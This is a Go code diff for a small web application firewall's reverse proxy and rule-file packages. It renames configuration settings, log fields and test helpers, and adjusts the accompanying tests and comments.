|
||||
|
||||
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(http.StatusMethodNotAllowed) ||
|
||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want status 405 and no disposition", line)
|
||||
}
|
||||
|
||||
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(http.StatusBadRequest) ||
|
||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want status 400 and no disposition", line)
|
||||
}
|
||||
|
||||
|
||||
+20
-21
@@ -34,14 +34,14 @@ const plainText = "text/plain; charset=utf-8"
|
||||
|
||||
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
||||
// status and headers of the app's answer. A shorter time can run out before the
|
||||
// first byte is written, on a busy host or as SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out,
|
||||
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out,
|
||||
// and the visitor then gets a closed connection and no answer.
|
||||
const minSendTime = 10 * time.Second
|
||||
|
||||
// errResponseTooLate refuses an app's answer that arrives once
|
||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||
// SWRP_MAX_RESPONSE_TIME_MS has run out.
|
||||
var errResponseTooLate = errors.New(
|
||||
"the answer arrived after SWW_RPROXY_MAX_RESPONSE_TIME_MS ran out")
|
||||
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out")
|
||||
|
||||
// request is one request on its way through rproxy, from the moment its headers
|
||||
// have been read to its log line and report.
|
||||
@@ -61,13 +61,12 @@ type request struct {
|
||||
start time.Time
|
||||
|
||||
// disposition is what is done with the request: waf's valid disposition,
|
||||
// or SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
||||
// gave one.
|
||||
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
|
||||
disposition string
|
||||
// answered is true when waf gave disposition, which makes a report due,
|
||||
// and wafNoAnswer when SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did.
|
||||
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
|
||||
answered bool
|
||||
wafNoAnswer bool
|
||||
byDefault bool
|
||||
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
|
||||
// app.
|
||||
asn, country string
|
||||
@@ -138,10 +137,10 @@ func (rq *request) answerHealth() {
|
||||
}
|
||||
|
||||
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
|
||||
// within SWW_RPROXY_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
|
||||
// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
|
||||
// visitor too slow to send it is answered 408. For a malformed chunk, or a
|
||||
// visitor that went away or stopped its sending side, the connection is closed
|
||||
// without an answer. A body over SWW_RPROXY_MAX_REQUEST_SIZE goes on with the part
|
||||
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
|
||||
// read, so that waf is asked first; passToApp then refuses it.
|
||||
func (rq *request) readFirstPartOfBody() bool {
|
||||
if rq.body == nil {
|
||||
@@ -211,7 +210,7 @@ func (rq *request) forward(ctx context.Context) {
|
||||
}
|
||||
|
||||
// rewrite makes the request the app receives: the visitor's request, unchanged,
|
||||
// sent to SWW_RPROXY_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
||||
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
|
||||
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
|
||||
// waf's.
|
||||
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
|
||||
@@ -260,7 +259,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
||||
|
||||
requestEnd := rq.endRequest()
|
||||
|
||||
// An answer that arrives once SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out is not
|
||||
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not
|
||||
// passed on: the visitor is answered 504.
|
||||
limit := rq.h.config.MaxResponseTime
|
||||
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
||||
@@ -287,7 +286,7 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
||||
rq.closeAfterAnswer()
|
||||
|
||||
// An answer that arrives before the app has been sent the whole request ends
|
||||
// the request, and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
|
||||
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||
rq.startResponseTimer(requestEnd)
|
||||
|
||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||
@@ -383,7 +382,7 @@ func (rq *request) closeAfterAnswer() {
|
||||
|
||||
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
||||
// reading of a body that has not arrived whole ends at deadline, and the answer
|
||||
// has SWW_RPROXY_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
||||
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
||||
// used that time up first, and at least minSendTime.
|
||||
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
||||
rq.stopReadingBody(deadline)
|
||||
@@ -451,7 +450,7 @@ func (rq *request) finish(ctx context.Context) {
|
||||
),
|
||||
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
|
||||
Disposition: rq.disposition,
|
||||
WAFBackendNoAnswer: rq.wafNoAnswer,
|
||||
DefaultDisposition: rq.byDefault,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
@@ -503,7 +502,7 @@ func (rq *request) bytesEachWay() (int64, int64) {
|
||||
}
|
||||
|
||||
// requestDeadline is when the visitor must have sent its whole request, or zero
|
||||
// when SWW_RPROXY_MAX_REQUEST_TIME_MS is off.
|
||||
// when SWRP_MAX_REQUEST_TIME_MS is off.
|
||||
func (rq *request) requestDeadline() time.Time {
|
||||
limit := rq.h.config.MaxRequestTime
|
||||
if limit == 0 {
|
||||
@@ -544,7 +543,7 @@ func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||
rq.stopReadingBody(deadline)
|
||||
}
|
||||
|
||||
// startRequestTimer starts SWW_RPROXY_MAX_REQUEST_TIME_MS, which runs from the
|
||||
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
||||
// request's headers being read until the app has been sent the whole request.
|
||||
func (rq *request) startRequestTimer() {
|
||||
deadline := rq.requestDeadline()
|
||||
@@ -561,7 +560,7 @@ func (rq *request) startRequestTimer() {
|
||||
)
|
||||
}
|
||||
|
||||
// requestTimedOut is called when SWW_RPROXY_MAX_REQUEST_TIME_MS runs out while the
|
||||
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
|
||||
// request is still on its way to the app. The answer names the side rproxy was
|
||||
// waiting on at that moment: 408 when it was waiting for the visitor to send more
|
||||
// of its body, 504 when it was waiting for the app to be reached or to take what
|
||||
@@ -588,7 +587,7 @@ func (rq *request) requestTimedOut() {
|
||||
}
|
||||
|
||||
// wroteRequest is called once the app has been sent the whole request:
|
||||
// SWW_RPROXY_MAX_REQUEST_TIME_MS ends and SWW_RPROXY_MAX_RESPONSE_TIME_MS starts.
|
||||
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
||||
if info.Err != nil {
|
||||
return // the transport gives up, or tries again
|
||||
@@ -603,7 +602,7 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
||||
rq.startResponseTimer(requestEnd)
|
||||
}
|
||||
|
||||
// startResponseTimer starts SWW_RPROXY_MAX_RESPONSE_TIME_MS, which runs from
|
||||
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
|
||||
// requestEnd, unless it has started already.
|
||||
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
||||
limit := rq.h.config.MaxResponseTime
|
||||
@@ -622,7 +621,7 @@ func (rq *request) startResponseTimer(requestEnd time.Time) {
|
||||
rq.responseTimedOut)
|
||||
}
|
||||
|
||||
// responseTimedOut is called when SWW_RPROXY_MAX_RESPONSE_TIME_MS runs out before the
|
||||
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
||||
// app has sent its whole answer.
|
||||
func (rq *request) responseTimedOut() {
|
||||
rq.mu.Lock()
|
||||
@@ -640,7 +639,7 @@ func (rq *request) responseReceived() {
|
||||
|
||||
// setResponseDeadline sends the status and headers of the app's answer, with
|
||||
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
||||
// the rest has until SWW_RPROXY_MAX_RESPONSE_TIME_MS after the end of the request.
|
||||
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request.
|
||||
func (rq *request) setResponseDeadline() {
|
||||
limit := rq.h.config.MaxResponseTime
|
||||
if limit == 0 {
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
// Package rproxy is the reverse proxy in front of one app that asks waf
|
||||
// about each request. It passes a request waf allows to the app and the
|
||||
// app's answer back, within the size and time limits. Any other answer from
|
||||
// waf goes to the visitor as waf gave it.
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION decides only when waf cannot
|
||||
// be connected to, does not answer at all, or does not answer within
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||
// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION
|
||||
// decides only when waf cannot be connected to, does not answer at all, or
|
||||
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||
// method it does not pass on, or one it cannot put to waf as the visitor
|
||||
// sent it. It keeps nothing between requests and writes nothing to disk. "rproxy" in
|
||||
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
|
||||
// SPEC.md says what it does.
|
||||
package rproxy
|
||||
|
||||
@@ -74,7 +73,7 @@ type Server struct {
|
||||
|
||||
// New returns the server `sww rproxy` runs. Go's server itself refuses
|
||||
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
|
||||
// connection idle for idleTimeout, and applies SWW_RPROXY_MAX_REQUEST_TIME_MS while
|
||||
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
|
||||
// the headers arrive. The handler applies the time and size limits from then
|
||||
// on.
|
||||
func New(params Params) *Server {
|
||||
@@ -109,8 +108,7 @@ func New(params Params) *Server {
|
||||
}
|
||||
|
||||
// WaitForReports returns once the reports being sent have gone or failed,
|
||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
||||
// is dropped: that of
|
||||
// which SWRP_TIMEOUT_MS bounds. Any report after this call is dropped: that of
|
||||
// a WebSocket that closes while rproxy stops, for one.
|
||||
func (s *Server) WaitForReports() {
|
||||
s.h.reportsMu.Lock()
|
||||
@@ -219,9 +217,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||
// it from the app. waf answers a path under ownEndpointPrefix itself, so
|
||||
// such a request gets here only when
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION allowed it.
|
||||
// ctx is the request's own context.
|
||||
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
||||
// request's own context.
|
||||
func (rq *request) passToApp(ctx context.Context) {
|
||||
maxBytes := rq.h.config.MaxRequestSize
|
||||
|
||||
|
||||
@@ -19,7 +19,6 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
@@ -44,13 +43,13 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
timeoutSetting = "SWRP_TIMEOUT_MS"
|
||||
defaultDisposition = "SWRP_DEFAULT_DISPOSITION"
|
||||
trustedProxies = "SWRP_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWRP_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWRP_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||
)
|
||||
|
||||
// The headers the tests set and look at.
|
||||
@@ -355,11 +354,17 @@ func startServerLogging(
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
"SWW_RPROXY_WAF_BACKEND": backend, "SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||
"SWRP_WAF_BACKEND": backend, "SWRP_UPSTREAM_URL": appURL,
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
|
||||
cfg, err := config.RProxyFromEnvironment(
|
||||
func(name string) (string, bool) {
|
||||
value, ok := settings[name]
|
||||
|
||||
return value, ok
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", settings, err)
|
||||
}
|
||||
@@ -774,7 +779,7 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want waf's deny", line)
|
||||
}
|
||||
}
|
||||
@@ -956,8 +961,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
||||
}
|
||||
}
|
||||
|
||||
// noAnswers are the ways waf can leave the decision to
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
||||
// noAnswers are the ways waf can leave the decision to the default.
|
||||
func noAnswers() map[string]func(t *testing.T) string {
|
||||
return map[string]func(t *testing.T) string{
|
||||
"no connection": func(*testing.T) string { return nowhere },
|
||||
@@ -1009,8 +1013,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1033,7 +1036,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
noAnswerSetting: setting,
|
||||
defaultDisposition: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1049,9 +1052,9 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(tc.status) ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf(
|
||||
"line %v, want status %d and no waf_backend_no_answer",
|
||||
"line %v, want status %d and no default",
|
||||
line,
|
||||
tc.status,
|
||||
)
|
||||
@@ -1111,7 +1114,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
_, _ = w.Write(make([]byte, size))
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -1204,8 +1207,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
subtest := name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
@@ -1216,8 +1218,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: setting,
|
||||
timeoutSetting: "60000",
|
||||
defaultDisposition: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1227,7 +1229,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != float64(http.StatusBadGateway) ||
|
||||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf(
|
||||
"line %v, want status 502 and no disposition",
|
||||
line,
|
||||
@@ -1245,7 +1247,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
|
||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||
@@ -1256,9 +1258,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
standIn.wantNoReport(t)
|
||||
}
|
||||
|
||||
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for name, backend := range noAnswers() {
|
||||
@@ -1271,7 +1271,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1279,11 +1279,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionAllow ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf(
|
||||
"line %v, want allow and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
line["default_disposition"] != true {
|
||||
t.Errorf("line %v, want allow by default", line)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -1298,8 +1295,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
timeoutSetting: "200",
|
||||
defaultDisposition: dispositionDeny,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1310,21 +1307,18 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf(
|
||||
"line %v, want deny and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
line["default_disposition"] != true {
|
||||
t.Errorf("line %v, want deny by default", line)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1341,8 +1335,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: disposition,
|
||||
timeoutSetting: "60000",
|
||||
defaultDisposition: disposition,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1354,7 +1348,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["status"] != 0.0 || line["disposition"] != nil ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want status 0 and no disposition", line)
|
||||
}
|
||||
|
||||
@@ -1367,9 +1361,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, greet)
|
||||
@@ -1387,7 +1379,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
wafBackendTimeout: "200",
|
||||
timeoutSetting: "200",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1451,7 +1443,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
||||
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1494,7 +1486,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
||||
// The time limit is long enough for a loaded host to answer the question before
|
||||
// it runs out.
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "3000",
|
||||
timeoutSetting: "3000",
|
||||
})
|
||||
|
||||
t.Cleanup(func() { close(release) })
|
||||
@@ -1524,7 +1516,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||
wafBackendTimeout: "60000",
|
||||
timeoutSetting: "60000",
|
||||
})
|
||||
|
||||
wantGreeting(t, get(t, addr, "/"))
|
||||
@@ -1612,7 +1604,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
||||
backend.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
wafBackendTimeout: "5000",
|
||||
timeoutSetting: "5000",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1905,10 +1897,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
if line["waf_backend_no_answer"] != nil {
|
||||
if line["default_disposition"] != nil {
|
||||
t.Errorf(
|
||||
"waf_backend_no_answer is %v, want it left out",
|
||||
line["waf_backend_no_answer"],
|
||||
"default_disposition is %v, want it left out",
|
||||
line["default_disposition"],
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
+11
-12
@@ -67,16 +67,15 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
rq.answer(http.StatusBadGateway)
|
||||
default:
|
||||
// waf cannot be connected to, does not answer at all, or does not answer
|
||||
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf
|
||||
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
|
||||
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
|
||||
// here. deny closes this, at the cost of answering 503 whenever waf is
|
||||
// slow. Making such requests hard to send is
|
||||
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
|
||||
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||
// whenever waf is slow. Making such requests hard to send is
|
||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||
|
||||
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
|
||||
rq.wafNoAnswer = true
|
||||
rq.disposition = rq.h.config.DefaultDisposition
|
||||
rq.byDefault = true
|
||||
|
||||
if rq.disposition == waf.DispositionAllow {
|
||||
rq.passToApp(ctx)
|
||||
@@ -87,10 +86,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
||||
}
|
||||
|
||||
// ask sends waf the question, and returns its answer, which must have come
|
||||
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
|
||||
// when the visitor goes away.
|
||||
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||
// away.
|
||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
|
||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
question, err := rq.newQuestion(ctx)
|
||||
@@ -243,14 +242,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
||||
}
|
||||
|
||||
// postReport posts report to waf, and waits for its answer for up to
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
|
||||
// SWRP_TIMEOUT_MS.
|
||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||
body, err := json.Marshal(report)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode the report: %w", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
|
||||
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package rules reads the rule files: the plain text files in
|
||||
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
|
||||
// SWW_RULES_DIR, one rule to a line, that each request is checked
|
||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||
// at start, and again once the directory has had no change for a short
|
||||
// time after one is edited, added or removed.
|
||||
@@ -40,7 +40,7 @@ const (
|
||||
// extension ends the name of every rule file.
|
||||
const extension = ".rules"
|
||||
|
||||
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
|
||||
// quietTime is how long SWW_RULES_DIR must go without a change before
|
||||
// the rule files are read again, so that a file still being written, such
|
||||
// as one saved in place, appended to or copied in with scp, is read only
|
||||
// once whole.
|
||||
@@ -103,9 +103,9 @@ type Rule struct {
|
||||
|
||||
// Params are what Load needs.
|
||||
type Params struct {
|
||||
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
|
||||
// Dir is the directory of the rule files (SWW_RULES_DIR).
|
||||
Dir string
|
||||
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
|
||||
// Enabled is SWW_RULES_ENABLED: while it is false, no file is read
|
||||
// and no rule loaded.
|
||||
Enabled bool
|
||||
// ProcessLog receives how many rules were read, and the error in a
|
||||
@@ -274,10 +274,7 @@ func (f *Files) logRead(count int) {
|
||||
func read(dir string) ([]Rule, string, error) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil, dir, fmt.Errorf(
|
||||
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
|
||||
err,
|
||||
)
|
||||
return nil, dir, fmt.Errorf("SWW_RULES_DIR cannot be read: %w", err)
|
||||
}
|
||||
|
||||
var rules []Rule
|
||||
@@ -310,7 +307,7 @@ func readFile(
|
||||
rules []Rule,
|
||||
places map[string]string,
|
||||
) ([]Rule, error) {
|
||||
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
|
||||
//nolint:gosec // a rule file, in SWW_RULES_DIR
|
||||
data, err := os.ReadFile(path)
|
||||
